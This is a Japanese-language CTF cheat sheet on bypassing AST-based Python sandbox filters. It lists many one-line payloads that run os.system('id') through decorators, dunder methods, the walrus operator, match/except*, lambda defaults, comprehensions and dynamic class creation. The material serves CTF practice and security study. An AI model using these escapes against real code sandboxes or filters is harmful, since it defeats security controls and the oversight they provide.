AST Bypass
Overview
AST (Abstract Syntax Tree) ベースのフィルタは、コードを解析して特定のノードタイプをブロックする。しかし、Pythonの構文には検証を回避できる多くの抜け穴がある。
デコレータによるバイパス
@ デコレータ構文は関数呼び出しとして機能する。
# @exec を使った実行@exec@inputclass X: pass
# 入力: __import__('os').system('id')# 引数付きデコレータ@print@list@eval@inputclass X: pass
# 入力で eval が実行されるGoogle CTF 2022 Treebox スタイル
@exec@inputclass X: pass演算子オーバーロード
class Evil: def __eq__(self, other): __import__('os').system('id') return True
Evil() == 1 # __eq__ が呼ばれる# __getitem__ の悪用class Evil: def __getitem__(self, key): eval(key)
Evil()['__import__("os").system("id")']walrus 演算子 (:=)
# 式の中で代入[y := __import__('os'), y.system('id')]
# リスト内包表記と組み合わせ[(x := __import__('os')) and x.system('id') for _ in [1]]match 文 (Python 3.10+)
match __import__('os'): case x: x.system('id')except* (Python 3.11+)
try: raise ExceptionGroup("", [ValueError()])except* ValueError as e: __import__('os').system('id')アノテーション
# 変数アノテーションは実行時に評価されない (通常)x: eval('__import__("os").system("id")') # 効果なし
# ただし __annotations__ からアクセス可能class C: x: "eval('print(1)')"
eval(C.__annotations__['x'])from __future__ import annotations の影響
Python 3.10+ では from __future__ import annotations により、アノテーションは文字列として保存される。
assert 文
assert __import__('os').system('id') or Truelambda のデフォルト引数
# デフォルト引数は定義時に評価されるf = lambda x=__import__('os').system('id'): xリスト内包表記・ジェネレータ式
# iter の中で実行[1 for _ in [__import__('os').system('id')]]
# if 節で実行[1 for _ in [1] if __import__('os').system('id') or True]type() による動的クラス生成
# type(name, bases, dict) でクラスを動的に作成Evil = type('Evil', (), {'__init__': lambda self: __import__('os').system('id')})Evil()__init_subclass__
class Evil: def __init_subclass__(cls): __import__('os').system('id')
class Trigger(Evil): # サブクラス定義時に実行 pass__set_name__
class Descriptor: def __set_name__(self, owner, name): __import__('os').system('id')
class Trigger: x = Descriptor() # クラス定義時に実行AST検証の限界
- AST検証は構文レベルのみ、実行時の動的な挙動は検知できない
eval,execの引数を静的に解析するのは困難- デコレータは
Callノードとして表現されるが、検知が難しい場合がある
Tips
- AST検証をバイパスする場合、まず使用可能なノードタイプを確認
ast.dump()でコードのAST構造を確認できる- Python バージョンによってサポートされる構文が異なる